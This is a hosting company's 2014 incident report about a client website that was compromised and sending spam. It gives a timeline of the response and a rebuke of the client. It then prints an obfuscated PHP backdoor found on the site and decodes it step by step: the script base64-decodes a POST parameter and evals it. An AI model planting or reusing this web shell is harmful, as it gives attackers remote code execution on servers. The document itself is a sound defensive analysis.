Investigating a compromise in one of our hosted domains.

UPDATE: November 9th, 2014 We have identified the suspect scripts and are in the process of taking them apart to find out what it is they are doing. More info at the end of this post as time (and sanity) permits.

November 7th, 2014

5:50pm: We detected an unusually large number of emails sitting in our servers' email queue. Upon further investigation we found that a domain we host has been attempting to send a very large number of emails, coming from random addresses not associated with that domain.

5:54pm: We contacted the client that hosts the domain with us letting him know that the domain has been suspended and we have started an internal investigation as to how the compromise has happened.

5:59pm: A preliminary investigation shows that the domain has been compromised through a trojaned version of a .php file in one of the plugins installed at the domain. We removed the infected file and we started cleaning up the email queue of the servers.

6:20pm: We reminded the client in question that the domain has been fully suspended for a violation of our Terms of Service. We have started changing the passwords related to the domain. The client has been cut off from any access to their control panel.

7:50pm: Passwords related to the domain have been changed, and the plugin in question has been fully removed.

8:00pm: The internal investigation shows that the file in question was uploaded this morning, and the infected file has been receiving instructions on what SPAM email to send since 10:00am.

8:20pm: The investigation is still ongoing. We will remove any further signs of infection, and are in the process of identify exactly why the compromise has happened. So far the investigation shows that a third party has gained administrative access to the domain's installed program (a popular CMS), installed a plugin and proceeded to replace a .php file with an infected version of that file. At this point we advise the rest of our clients not to worry about their domains, as the compromise is limited to this single domain. No further signs of any of the other domains being compromised exists.

04:17am - November 8th: The infected files were found to be much deeper than first discovered. There are dozens of infected files, that our antivirus/antimalware solution does not detect (and trust us, it's the best there is). The infected files are encoded to avoid detection, and they were present in a backup that the client requested to be uploaded from the previous hosting company that hosted the domain. A full deletion of all the website's files and a subsequent restore on a best effort basis has been decided on our part.

deZillium would like to remind our clients that we are trying our absolute best to provide a secure environment to host your websites/emails. We cannot guarantee their safety though if our clients share their login credentials with untrusted third parties.

All of the login credentials provided by deZillium should be considered as CONFIDENTIAL information between deZillium and its clients. Sharing them with third parties is considered by us as a violation of our security protocols. The client in question is facing account termination for violating our Terms of Services for three reasons: not taking the necessary measures required to secure the CONFIDENTIAL login credentials from access by third parties, sharing the login credentials with third parties, and for abusing our services. If you think that there is no harm in letting someone upload something to your website, think again.

An internal committee will decide for any future action against the client. deZillium does NOT tolerate ANY abuse of our services, either willingly or unwillingly. We expect our customers to show the same security consciousness we show to them.

Update: Here are (extreme) details about the compromise. Not for the faint hearted. On the other hand since the compromise happened at a previous hosting company and went unnoticed until it was activated on our systems we can't really say that it's for the IT crowd as well. Reader beware. "Here be monsters."

So the deZillium incidence response team has sprang into action. Here are their detailed findings:

After the suspect domain was found to be sending SPAM email, we immediately cut off email access to and from the domain. We then proceeded to clean up the email servers' (yes that's plural) queue. Immediately following the cleanup, we cleaned up the main suspect file, which was a popular plugin to a popular CMS (it's one of the two most used CMSs out there, we will not be giving any more info until we are absolutely certain that it was not due to a 0-day exploit that the compromise happened). Since bad things rarely happen once, we took a closer look at the website's directory structure. To (not) our surprise, there were other .php files that shouldn't be there. Ah-oh, time to roll up our sleeves and get to the bottom of this.

Here's a suspect file for your inspection (formatted for better readability, lines split at the end of line character (;), the file was a single line):

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nf73356'];
if(isset($s22)){eval($s21($s22));
}?>

For those that are still awake, you would have noticed that the file starts and ends with the PHP tags, indicating that this is a PHP script and should be run as such by the server. Removing those we are left with:

$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nf73356'];
if(isset($s22)){eval($s21($s22));
}

Remember, computers start counting at 0 (zero). So let's take a small example from above and explain it:

strtolower($sF[4]...blah blah = convert the 5th character of the $sF variable to lower case. Quotes ("") are not counted. In this case that's "B" converted to a "b". Likewise, strtoupper converts the character to an upper case.

Putting our cryptography background to good use we decode the entire script:

$sF="PCT4BA6ODSE_";
$s21=base64_decode;
$s22=${_POST}['nf73356'];
if(isset($s22)){eval($s21($s22));
}

So if s22 is set (ie a POST (send data) is made to the script), evaluate the contents of s22 using the command contained in s21, in other words, base64_decode the contents of s22 and execute the resulting command. And the resulting command is SPAM to death an unsuspecting victim.